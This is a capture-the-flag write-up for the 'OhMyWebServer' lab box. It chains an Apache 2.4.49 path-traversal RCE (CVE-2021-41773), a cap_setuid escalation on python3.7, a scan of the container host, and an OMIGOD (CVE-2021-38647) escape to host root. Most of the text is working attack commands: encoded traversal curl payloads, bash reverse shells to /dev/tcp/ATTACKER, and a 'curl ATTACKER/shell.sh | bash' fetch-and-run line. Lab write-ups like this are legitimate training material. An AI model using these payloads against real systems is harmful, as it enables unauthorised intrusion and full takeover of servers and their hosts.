OhMyWebServer
Chain: Apache 2.4.49 path traversal (CVE-2021-41773) → RCE as daemon in a container → root via a cap_setuid capability on python3.7 → scan the host from inside the container → escape to the host through OMIGOD (CVE-2021-38647).
Recon
1nmap -p- --min-rate 5000 -T4 TARGET # full sweep: 22 and 80
2nmap -p 22,80 -sCV TARGET # 80 is Apache/2.4.49
Apache 2.4.49 is the version with CVE-2021-41773 — path traversal that turns into RCE when mod_cgi is enabled.
LFI to RCE (CVE-2021-41773)
Apache blocks a literal ../, but it decodes %2e after the traversal check, so URL-encoding one dot slips through. .%2e/ escapes the starting cgi-bin directory.
Point it at /etc/passwd first:
1curl -s --path-as-is "http://TARGET/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
That returns a 500, which actually confirms the bug: cgi-bin is script-aliased, so traversal works but a non-executable file errors out. Pivot the same traversal to /bin/sh and POST a command — now it executes:
1curl -s --path-as-is "http://TARGET/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh" -d "echo Content-Type: text/plain; echo; id"
2# uid=1(daemon) gid=1(daemon) groups=1(daemon)
Foothold
1nc -lvnp 4444 # listener
1curl -s --path-as-is "http://TARGET/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh" \
2 -d "echo Content-Type: text/plain; echo; /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'" # reverse shell
The prompt is daemon@4a70924bafa0 — that hostname is a container ID, so I’m inside a container.
Container root — cap_setuid on python3.7
Check the usual escalation surfaces:
1find / -perm -4000 2>/dev/null # SUID binaries: all stock
2getcap -r / 2>/dev/null # python3.7 = cap_setuid+ep
cap_setuid+ep lets that binary call setuid() to any UID, no root required:
1python3.7 -c 'import os; os.setuid(0); os.system("/bin/bash")' # -> root in the container
2python3 -c 'import pty; pty.spawn("/bin/bash")' # stabilize
user.txt is in root’s home.
Pivot — scan the host from the container
Root in the container isn’t root on the box. When you land in a container, scan the host gateway — containers usually share a network with the host, and host services are often far less hardened than what faces the internet.
On the attacker, serve a static nmap binary:
1python3 -m http.server 80
In the container:
1cd /tmp
2curl -O http://ATTACKER/nmap
3chmod +x nmap
4./nmap -p- 172.17.0.1 --min-rate=700 -vvv # scan the Docker host gateway
5985 and 5986 are open on the host — WinRM, and with it the OMI management daemon.
Host escape — OMIGOD (CVE-2021-38647)
OMI accepts an unauthenticated request with no auth header and runs it as root. On the attacker:
1curl -s https://raw.githubusercontent.com/horizon3ai/CVE-2021-38647/main/omigod.py -o omi.py
2echo 'bash -i >& /dev/tcp/ATTACKER/5555 0>&1' > shell.sh
3python3 -m http.server 8000
Pull the exploit into the container, start a listener, and fire it at the host gateway:
1nc -lvnp 5555
2python3 omi.py -t 172.17.0.1 -c "curl http://ATTACKER:8000/shell.sh | bash"
The shell comes back as root on the host. root.txt is there.
Lessons
- Apache 2.4.49’s traversal check runs before
%2edecoding, so.%2e/is all it takes; a 500 on a non-executable path is confirmation, not failure. getcap -r /belongs in every enum pass —cap_setuid+epon any interpreter is instant root.- A container shell is a foothold, not the finish. Scan
172.17.0.1; OMI on the host (OMIGOD) runs your command as root with no auth at all.
Comments aren't connected yet. Check back soon.